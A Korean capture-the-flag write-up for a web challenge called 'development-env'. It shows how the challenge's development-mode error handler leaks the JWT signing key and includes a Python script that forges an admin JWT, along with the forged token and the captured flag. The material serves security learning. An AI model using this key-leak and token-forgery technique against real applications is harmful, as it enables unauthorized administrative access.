오늘 풀 문제는 development-env이다.

const express = require("express");
const cryptolib = require("./libs/customcrypto");
var cookieParser = require("cookie-parser");
var parsetrace = require("parsetrace");
const isDevelopmentEnv = true;
const app = express();
const port = 3000;
const flag = "DH{FAKE_FLAG}";
app.set("view engine", "ejs");
app.use(express.urlencoded({ extended: true }));
app.use(cookieParser());
let database = {
guest: "guestPW",
admin: cryptolib.generateRandomString(15),
}; //don't try to guess admin password
app.get("/", async (req, res) => {
try {
let token = req.cookies.auth || "";
const payloadData = await cryptolib.readJWT(token, "FAKE_KEY");
if (payloadData) {
userflag = payloadData["uid"] == "admin" ? flag : "You are not admin";
res.render("main", { username: payloadData["uid"], flag: userflag });
} else {
res.render("login");
}
} catch (e) {
if (isDevelopmentEnv) {
res.json(JSON.parse(parsetrace(e, { sources: true }).json()));
} else {
res.json({ message: "error" });
}
}
});
app.post("/validate", async (req, res) => {
try {
let contentType = req.header("Content-Type").split(";")[0];
if (
["multipart/form-data", "application/x-www-form-urlencoded"].indexOf(
contentType
) === -1
) {
throw new Error("content type not supported");
} else {
let bodyKeys = Object.keys(req.body);
if (bodyKeys.indexOf("id") === -1 || bodyKeys.indexOf("pw") === -1) {
throw new Error("missing required parameter");
} else {
if (
typeof database[req.body["id"]] !== "undefined" &&
database[req.body["id"]] === req.body["pw"]
) {
if (
req.get("User-Agent").indexOf("MSIE") > -1 ||
req.get("User-Agent").indexOf("Trident") > -1
)
throw new Error("IE is not supported");
jwt = await cryptolib.generateJWT(req.body["id"], "FAKE_KEY");
res
.cookie("auth", jwt, {
maxAge: 30000,
})
.send(
"<script>alert('success');document.location.href='/'</script>"
);
} else {
res.json({ message: "error", detail: "invalid id or password" });
}
}
}
} catch (e) {
if (isDevelopmentEnv) {
res.status(500).json({
message: "devError",
detail: JSON.parse(parsetrace(e, { sources: true }).json()),
});
} else {
res.json({ message: "error", detail: e });
}
}
});
app.listen(port);
코드를 살펴본다.
먼저 계정은 guest:guestPW가 있고, admin:(PW) 가 있다.
현재 admin계정의 비밀번호는 알 수 없고 15자리의 랜덤한 문자열로 생성되었다는 것으로 알 수 있다.
admin비밀번호는 브루트포스로 푸는 것은 불가능하다.
이제 /을 살펴보면 쿠키에 담긴 auth값을 토큰으로 사용하고, readJWT 함수를 이용하여 읽어온다.
키값은 FAKE_KEY이고, 이 JWT 토큰 값에 담긴 uid가 admin이라면 검증이 완료되어 flag값을 반환한다.
즉 우리는 uid=admin인 JWT 토큰을 가져야만 한다.
이제 /validate를 본다. /validate는 POST요청을 받으며, 로그인 시에 로그인을 검증하는 엔드포인트이다.
이 엔드포인트를 통과하려면 차례로
ContentType이 ["multipart/form-data", "application/x-www-form-urlencoded"] 이 2개중 하나여야 한다.
둘 째로 id와 pw가 파라미터로 주어져야한다.
셋째로 User-agent에 MSIE혹은 Trident가 포함되서는 안된다.
이 과정을 모두 통과하면 id에 해당하는 JWT 토큰을 발급해준다.
정리하면
1. uid=admin인 토큰을 발급받아야 한다.
2. uid=admin인 토큰을 이용하여 로그인하면 flag값을 얻을 수 있다.
3. id와 pw가 반드시 주어져야 한다.
라는 것이다.
그말은 우리가 키값만 알아낼 수 있다면 jwt토큰을 uid=admin으로 위조하여 guest로 로그인만 한다면 flag를 획득할 수 있다는 것이다.
현재 jwt 토큰 발급의 키는 FAKE_KEY로 알 수 없다.
이 문제의 해결은 바로 오류메시지에 있었다.
처음의 엔드포인트 /validate에 무작정 접근하여 요청을 보내보았다.


&을 이용해서 파라미터를 붙여야 하는 것을 까먹고 그냥 보냈었다.
반응으로 돌아오는 값이 무언가 이상하다.
json타입으로 반환되는 것은 맞는데, 상당히 길게 그리고, index.js에서 확인할 수 있었던 코드들이 쭉 이어서 보인다.
하나씩 조건을 맞춰나가본다.
먼저 요청에서 contentType은 자동으로 맞추어져 있다. application/x-www-form-urlencoded을 사용한다.
다음으로 id와 pw는 guest, guestPW를 이용한다.
다음으로 User-agent값을 일부러 Trident를 이용해본다.


jwt 토큰 발급에 이용되는 FAKE_KEY값이 보인다.
에러를 이용해서 이 FAKE_KEY값을 획득한 것이다.
JWT_KEY = kitvP5j71fwycLz
그리고 코드에 암호화 코드가 주어졌었다.
const crypto = require("crypto").webcrypto;
const b64Lib = require("base64-arraybuffer");
const generateRandomString = (length) => {
var q = "";
for (var i = 0; i < length; i++) {
q += "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789".split(
""
)[parseInt((crypto.getRandomValues(new Uint8Array(1))[0] / 255) * 61)];
}
return q;
};
const verifyJWT = async (token, key) => {
try {
let baseKey = await crypto.subtle.importKey(
"raw",
new TextEncoder().encode(key),
{ name: "HMAC", hash: "SHA-256" },
false,
["verify"]
);
var splited = token.split(".");
let sig = b64Lib.decode(decodeurlsafe(splited[2]));
let isValid = await crypto.subtle.verify(
{ name: "HMAC" },
baseKey,
sig,
new TextEncoder().encode(`${splited[0]}.${splited[1]}`)
);
return isValid;
} catch (e) {
return false;
}
};
const readJWT = async(data,key) =>{
const decoder = new TextDecoder()
const isVerified = await verifyJWT(data,key)
if(isVerified){
let payload = data.split(".")[1]
return JSON.parse(decoder.decode(b64Lib.decode(decodeurlsafe(payload))).replaceAll('\x00',''))
}else{
return false
}
}
const generateJWT = async (userId, key) => {
const strEncoder = new TextEncoder();
let headerData = urlsafe(
b64Lib.encode(
strEncoder.encode(JSON.stringify({ alg: "HS256", typ: "JWT" }))
)
);
let payload = urlsafe(
b64Lib.encode(
strEncoder.encode(
JSON.stringify({
uid: userId,
})
)
)
);
let baseKey = await crypto.subtle.importKey(
"raw",
new TextEncoder().encode(key),
{ name: "HMAC", hash: "SHA-256" },
false,
["sign"]
);
let sig = await crypto.subtle.sign(
{ name: "HMAC" },
baseKey,
new TextEncoder().encode(`${headerData}.${payload}`)
);
return `${headerData}.${payload}.${urlsafe(
b64Lib.encode(new Uint8Array(sig))
)}`;
};
const urlsafe = (base) => {
return base.replace(/\+/g, "-").replace(/\//g, "_").replace(/=+$/, "");
};
const decodeurlsafe = (dat) => {
dat += Array(5 - (dat.length % 4)).join("=");
var data = dat.replace(/\-/g, "+").replace(/\_/g, "/");
return data;
};
module.exports = {
generateRandomString,
readJWT,
generateJWT,
};
여기서 generateJWT를 보면 어떻게 토큰을 발급하였는지 확연히 볼 수 있다.
동일한 파이썬 코드를 작성해보았다.
import base64
import hmac
import hashlib
import json
def urlsafe_b64encode(data: bytes) -> str:
"""Base64URL 인코딩 (패딩 제거)"""
return base64.urlsafe_b64encode(data).decode().rstrip("=")
def generate_fake_jwt(uid: str, key: str) -> str:
header = {"alg": "HS256", "typ": "JWT"}
payload = {"uid": uid}
header_json = json.dumps(header, separators=(",", ":")).encode()
payload_json = json.dumps(payload, separators=(",", ":")).encode()
header_b64 = urlsafe_b64encode(header_json)
payload_b64 = urlsafe_b64encode(payload_json)
message = f"{header_b64}.{payload_b64}".encode()
signature = hmac.new(key.encode(), message, hashlib.sha256).digest()
signature_b64 = urlsafe_b64encode(signature)
return f"{header_b64}.{payload_b64}.{signature_b64}"
# 위조 토큰 생성
jwt_token = generate_fake_jwt("admin", "kitvP5j71fwycLz")
print("JWT:", jwt_token)
이 코드에서 uid를 admin으로 해서 발급한다면, JWT 토큰을 위조하는 것이다.
JWT: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1aWQiOiJhZG1pbiJ9.yT7YcJQ4Xvs1_U4ThsOAQSGH_o6bqtNvQswzx0C_67A
위의 토큰이 바로 위조된 토큰이다.
이제 이 토큰을 이용해서 guest로그인을 진행한다.

성공하였다고 응답이 온 뒤 / 엔드포인트로 돌아가는 요청이 온다.

이 때 auth값을 우리가 직접 발급한 위조 토큰으로 변경한다.

admin으로 로그인에 성공하게 된다. FLAG를 획득하였다.
FLAG : DH{N6d4UYf2zu7XooVGIk6C}
개발 환경에는 이러한 취약점들이 (암호화 기법 코드) 존재할 수 있다. 따라서 개발환경, 테스트환경, 배포환경 3가지로 분리하여 환경을 구축하는 것이 바람직하다.